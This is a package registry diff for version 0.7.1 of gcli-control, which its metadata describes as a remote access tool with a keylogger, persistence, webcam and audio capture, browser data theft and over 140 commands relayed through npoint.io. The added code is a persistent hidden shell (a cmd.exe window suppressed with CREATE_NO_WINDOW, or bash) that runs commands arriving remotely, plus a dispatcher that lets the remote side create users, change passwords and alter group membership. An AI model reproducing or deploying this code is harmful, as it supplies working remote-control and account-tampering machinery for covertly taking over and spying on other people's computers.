gcli-control 0.7.0__tar.gz → 0.7.1__tar.gz
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {gcli_control-0.7.0 → gcli_control-0.7.1}/PKG-INFO +1 -1
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/__init__.py +1 -1
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/host.py +1 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/users.py +31 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/utils.py +175 -1
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli_control.egg-info/PKG-INFO +1 -1
- {gcli_control-0.7.0 → gcli_control-0.7.1}/pyproject.toml +1 -1
- {gcli_control-0.7.0 → gcli_control-0.7.1}/README.md +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/__main__.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/aliases.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/audio.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/automation.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/bluetooth.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/browser.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/client.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/clipboard.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/colors.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/crypto.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/desktop.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/elevator.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/encrypt.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/fileops.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/forensics.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/keylog.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/monitoring.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/netutils.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/network_config.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/npoint.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/output.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/persistence.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/processes.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/protocol.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/registry.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/security.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/session.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/system.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/transfer.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/webcam.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli/wifi.py +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli_control.egg-info/SOURCES.txt +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli_control.egg-info/dependency_links.txt +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli_control.egg-info/entry_points.txt +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli_control.egg-info/requires.txt +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/gcli_control.egg-info/top_level.txt +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/setup.cfg +0 -0
- {gcli_control-0.7.0 → gcli_control-0.7.1}/tests/test_integration.py +0 -0
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.4
|
|
2
2
|
Name: gcli-control
|
|
3
|
-
Version: 0.7.
|
|
3
|
+
Version: 0.7.1
|
|
4
4
|
Summary: Remote access tool via npoint.io - encrypted relay with desktop control, user management, webcam, audio, keylogger, persistence, browser data, WiFi, registry, and 140+ commands
|
|
5
5
|
Author: gcli contributors
|
|
6
6
|
License-Expression: MIT
|
|
@@ -17,6 +17,7 @@ from .protocol import (
|
|
|
17
17
|
from .utils import (
|
|
18
18
|
write_pid, read_pid, remove_pid, is_running, kill_pid,
|
|
19
19
|
detach, run_command, get_system_info, setup_logging, ensure_dirs,
|
|
20
|
+
PersistentShell,
|
|
20
21
|
)
|
|
21
22
|
|
|
22
23
|
# Feature modules — imported lazily to keep startup fast
|
|
@@ -412,6 +412,37 @@ def current_user_info() -> dict:
|
|
|
412
412
|
}
|
|
413
413
|
|
|
414
414
|
|
|
415
|
+
# ---------------------------------------------------------------------------
|
|
416
|
+
# Dispatch
|
|
417
|
+
# ---------------------------------------------------------------------------
|
|
418
|
+
|
|
419
|
+
_HANDLERS = {
|
|
420
|
+
"list_users": lambda p: list_users(),
|
|
421
|
+
"add_user": lambda p: add_user(p.get("username", ""), p.get("password", ""), p.get("fullname", "")),
|
|
422
|
+
"remove_user": lambda p: remove_user(p.get("username", "")),
|
|
423
|
+
"change_password": lambda p: change_password(p.get("username", ""), p.get("password", "")),
|
|
424
|
+
"lock_user": lambda p: lock_user(p.get("username", "")),
|
|
425
|
+
"unlock_user": lambda p: unlock_user(p.get("username", "")),
|
|
426
|
+
"list_groups": lambda p: list_groups(),
|
|
427
|
+
"user_groups": lambda p: user_groups(p.get("username", "")),
|
|
428
|
+
"add_to_group": lambda p: add_to_group(p.get("username", ""), p.get("group", "")),
|
|
429
|
+
"remove_from_group": lambda p: remove_from_group(p.get("username", ""), p.get("group", "")),
|
|
430
|
+
"current_user_info": lambda p: current_user_info(),
|
|
431
|
+
}
|
|
432
|
+
|
|
433
|
+
|
|
434
|
+
def dispatch(payload: dict) -> dict:
|
|
435
|
+
"""Route a user-management payload to the correct handler."""
|
|
436
|
+
cmd_type = payload.get("type", "")
|
|
437
|
+
handler = _HANDLERS.get(cmd_type)
|
|
438
|
+
if handler:
|
|
439
|
+
try:
|
|
440
|
+
return handler(payload)
|
|
441
|
+
except Exception as e:
|
|
442
|
+
return {"ok": False, "error": str(e)}
|
|
443
|
+
return {"ok": False, "error": f"Unknown user command: {cmd_type}"}
|
|
444
|
+
|
|
445
|
+
|
|
415
446
|
# ---------------------------------------------------------------------------
|
|
416
447
|
# Self-test
|
|
417
448
|
# ---------------------------------------------------------------------------
|
|
@@ -2,16 +2,19 @@
|
|
|
2
2
|
Utility functions for gcli.
|
|
3
3
|
- PID file management
|
|
4
4
|
- Process detachment (Windows + Linux)
|
|
5
|
-
-
|
|
5
|
+
- Persistent shell execution
|
|
6
|
+
- One-shot shell command execution
|
|
6
7
|
- System information gathering
|
|
7
8
|
"""
|
|
8
9
|
import os
|
|
9
10
|
import sys
|
|
10
11
|
import uuid
|
|
12
|
+
import time
|
|
11
13
|
import platform
|
|
12
14
|
import subprocess
|
|
13
15
|
import socket
|
|
14
16
|
import logging
|
|
17
|
+
import threading
|
|
15
18
|
from typing import Optional
|
|
16
19
|
from pathlib import Path
|
|
17
20
|
|
|
@@ -210,6 +213,177 @@ def run_command(cmd: str, timeout: int = 30) -> dict:
|
|
|
210
213
|
}
|
|
211
214
|
|
|
212
215
|
|
|
216
|
+
# ---------------------------------------------------------------------------
|
|
217
|
+
# Persistent shell — keeps a live shell process across exec commands
|
|
218
|
+
# so cd, env changes, etc. persist.
|
|
219
|
+
# ---------------------------------------------------------------------------
|
|
220
|
+
|
|
221
|
+
# Unique sentinel printed after every command to delimit output
|
|
222
|
+
_SENTINEL = "GCLI_END_8f3a" + uuid.uuid4().hex[:4]
|
|
223
|
+
|
|
224
|
+
|
|
225
|
+
class PersistentShell:
|
|
226
|
+
"""
|
|
227
|
+
Maintains a long-running interactive shell subprocess.
|
|
228
|
+
Each ``run()`` call sends a command + sentinel, reads until the sentinel
|
|
229
|
+
appears, and returns the captured output.
|
|
230
|
+
"""
|
|
231
|
+
|
|
232
|
+
def __init__(self, cwd: Optional[str] = None):
|
|
233
|
+
self.cwd = cwd or os.getcwd()
|
|
234
|
+
self._lock = threading.Lock()
|
|
235
|
+
self._proc: Optional[subprocess.Popen] = None
|
|
236
|
+
self._env = {**os.environ, "PYTHONIOENCODING": "utf-8"}
|
|
237
|
+
self._start()
|
|
238
|
+
|
|
239
|
+
# -- lifecycle -----------------------------------------------------------
|
|
240
|
+
|
|
241
|
+
def _start(self) -> None:
|
|
242
|
+
if sys.platform == "win32":
|
|
243
|
+
# Use cmd.exe with /Q to suppress echo of commands
|
|
244
|
+
self._proc = subprocess.Popen(
|
|
245
|
+
["cmd.exe", "/Q", "/K", "chcp 65001 >nul"],
|
|
246
|
+
stdin=subprocess.PIPE,
|
|
247
|
+
stdout=subprocess.PIPE,
|
|
248
|
+
stderr=subprocess.STDOUT,
|
|
249
|
+
cwd=self.cwd,
|
|
250
|
+
env=self._env,
|
|
251
|
+
creationflags=subprocess.CREATE_NO_WINDOW if hasattr(subprocess, "CREATE_NO_WINDOW") else 0x08000000,
|
|
252
|
+
bufsize=0,
|
|
253
|
+
)
|
|
254
|
+
else:
|
|
255
|
+
self._proc = subprocess.Popen(
|
|
256
|
+
["/bin/bash", "--norc", "--noprofile"],
|
|
257
|
+
stdin=subprocess.PIPE,
|
|
258
|
+
stdout=subprocess.PIPE,
|
|
259
|
+
stderr=subprocess.STDOUT,
|
|
260
|
+
cwd=self.cwd,
|
|
261
|
+
env=self._env,
|
|
262
|
+
bufsize=0,
|
|
263
|
+
)
|
|
264
|
+
# Give the shell a moment to start, then discard any startup output
|
|
265
|
+
self._drain_startup()
|
|
266
|
+
|
|
267
|
+
def _drain_startup(self) -> None:
|
|
268
|
+
"""Read and discard any startup banners from the shell."""
|
|
269
|
+
if not self._proc or not self._proc.stdout:
|
|
270
|
+
return
|
|
271
|
+
# Send a blank line + sentinel to flush startup output
|
|
272
|
+
self._write(f"\necho {_SENTINEL}\n")
|
|
273
|
+
self._read_until_sentinel(timeout=5)
|
|
274
|
+
|
|
275
|
+
def alive(self) -> bool:
|
|
276
|
+
return self._proc is not None and self._proc.poll() is None
|
|
277
|
+
|
|
278
|
+
def restart(self, cwd: Optional[str] = None) -> None:
|
|
279
|
+
self.close()
|
|
280
|
+
self.cwd = cwd or os.getcwd()
|
|
281
|
+
self._start()
|
|
282
|
+
|
|
283
|
+
def close(self) -> None:
|
|
284
|
+
if self._proc:
|
|
285
|
+
try:
|
|
286
|
+
self._proc.stdin.write(b"exit\n")
|
|
287
|
+
self._proc.stdin.flush()
|
|
288
|
+
except Exception:
|
|
289
|
+
pass
|
|
290
|
+
try:
|
|
291
|
+
self._proc.terminate()
|
|
292
|
+
self._proc.wait(timeout=3)
|
|
293
|
+
except Exception:
|
|
294
|
+
try:
|
|
295
|
+
self._proc.kill()
|
|
296
|
+
except Exception:
|
|
297
|
+
pass
|
|
298
|
+
self._proc = None
|
|
299
|
+
|
|
300
|
+
# -- low-level I/O -------------------------------------------------------
|
|
301
|
+
|
|
302
|
+
def _write(self, data: str) -> None:
|
|
303
|
+
if self._proc and self._proc.stdin:
|
|
304
|
+
self._proc.stdin.write(data.encode("utf-8", errors="replace"))
|
|
305
|
+
self._proc.stdin.flush()
|
|
306
|
+
|
|
307
|
+
def _read_until_sentinel(self, timeout: float = 30) -> str:
|
|
308
|
+
"""Read stdout bytes until the sentinel line is found or timeout."""
|
|
309
|
+
if not self._proc or not self._proc.stdout:
|
|
310
|
+
return ""
|
|
311
|
+
output_lines = []
|
|
312
|
+
deadline = time.time() + timeout
|
|
313
|
+
buf = b""
|
|
314
|
+
while time.time() < deadline:
|
|
315
|
+
# Check if process died
|
|
316
|
+
if self._proc.poll() is not None:
|
|
317
|
+
break
|
|
318
|
+
try:
|
|
319
|
+
chunk = os.read(self._proc.stdout.fileno(), 4096)
|
|
320
|
+
if not chunk:
|
|
321
|
+
time.sleep(0.05)
|
|
322
|
+
continue
|
|
323
|
+
buf += chunk
|
|
324
|
+
# Process complete lines
|
|
325
|
+
while b"\n" in buf:
|
|
326
|
+
line, buf = buf.split(b"\n", 1)
|
|
327
|
+
text = line.decode("utf-8", errors="replace")
|
|
328
|
+
if _SENTINEL in text:
|
|
329
|
+
return "\n".join(output_lines)
|
|
330
|
+
output_lines.append(text)
|
|
331
|
+
except (OSError, ValueError):
|
|
332
|
+
time.sleep(0.05)
|
|
333
|
+
return "\n".join(output_lines)
|
|
334
|
+
|
|
335
|
+
# -- public API ----------------------------------------------------------
|
|
336
|
+
|
|
337
|
+
def run(self, cmd: str, timeout: int = 30) -> dict:
|
|
338
|
+
"""
|
|
339
|
+
Execute *cmd* in the persistent shell and return the result dict.
|
|
340
|
+
For ``cd`` commands, also update ``self.cwd``.
|
|
341
|
+
"""
|
|
342
|
+
with self._lock:
|
|
343
|
+
if not self.alive():
|
|
344
|
+
try:
|
|
345
|
+
self.restart(self.cwd)
|
|
346
|
+
except Exception as e:
|
|
347
|
+
return {"ok": False, "stdout": "", "stderr": f"Shell restart failed: {e}", "rc": -1}
|
|
348
|
+
|
|
349
|
+
# Handle cd by tracking cwd in Python AND sending it to the shell
|
|
350
|
+
stripped = cmd.strip()
|
|
351
|
+
if stripped.lower().startswith("cd ") or stripped.lower() == "cd":
|
|
352
|
+
# Let the shell process cd, then query the result
|
|
353
|
+
target = stripped[3:].strip().strip('"').strip("'") if len(stripped) > 3 else ""
|
|
354
|
+
self._write(f"{cmd}\necho {self.cwd}\n" if target else f"{cmd}\npwd\n")
|
|
355
|
+
raw = self._read_until_sentinel(timeout=timeout)
|
|
356
|
+
# Parse the last line as the new cwd
|
|
357
|
+
lines = raw.strip().split("\n")
|
|
358
|
+
if lines:
|
|
359
|
+
new_cwd = lines[-1].strip().strip('"').strip("'")
|
|
360
|
+
if new_cwd and os.path.isdir(new_cwd):
|
|
361
|
+
self.cwd = new_cwd
|
|
362
|
+
self._env["CD"] = new_cwd
|
|
363
|
+
return {"ok": True, "stdout": raw, "stderr": "", "rc": 0, "cwd": self.cwd}
|
|
364
|
+
|
|
365
|
+
# Normal command
|
|
366
|
+
self._write(f"{cmd}\necho {_SENTINEL}\n")
|
|
367
|
+
raw = self._read_until_sentinel(timeout=timeout)
|
|
368
|
+
|
|
369
|
+
# After executing, query cwd so the client knows where we are
|
|
370
|
+
self._write(f"cd\n")
|
|
371
|
+
cwd_raw = self._read_until_sentinel(timeout=3)
|
|
372
|
+
cwd_lines = cwd_raw.strip().split("\n")
|
|
373
|
+
if cwd_lines:
|
|
374
|
+
detected = cwd_lines[-1].strip().strip('"').strip("'")
|
|
375
|
+
if detected and os.path.isdir(detected):
|
|
376
|
+
self.cwd = detected
|
|
377
|
+
|
|
378
|
+
return {
|
|
379
|
+
"ok": True,
|
|
380
|
+
"stdout": raw,
|
|
381
|
+
"stderr": "",
|
|
382
|
+
"rc": 0,
|
|
383
|
+
"cwd": self.cwd,
|
|
384
|
+
}
|
|
385
|
+
|
|
386
|
+
|
|
213
387
|
# ---------------------------------------------------------------------------
|
|
214
388
|
# System information
|
|
215
389
|
# ---------------------------------------------------------------------------
|
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
Metadata-Version: 2.4
|
|
2
2
|
Name: gcli-control
|
|
3
|
-
Version: 0.7.
|
|
3
|
+
Version: 0.7.1
|
|
4
4
|
Summary: Remote access tool via npoint.io - encrypted relay with desktop control, user management, webcam, audio, keylogger, persistence, browser data, WiFi, registry, and 140+ commands
|
|
5
5
|
Author: gcli contributors
|
|
6
6
|
License-Expression: MIT
|
|
@@ -4,7 +4,7 @@ build-backend = "setuptools.build_meta"
|
|
|
4
4
|
|
|
5
5
|
[project]
|
|
6
6
|
name = "gcli-control"
|
|
7
|
-
version = "0.7.
|
|
7
|
+
version = "0.7.1"
|
|
8
8
|
description = "Remote access tool via npoint.io - encrypted relay with desktop control, user management, webcam, audio, keylogger, persistence, browser data, WiFi, registry, and 140+ commands"
|
|
9
9
|
readme = "README.md"
|
|
10
10
|
license = "MIT"
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|
|
File without changes
|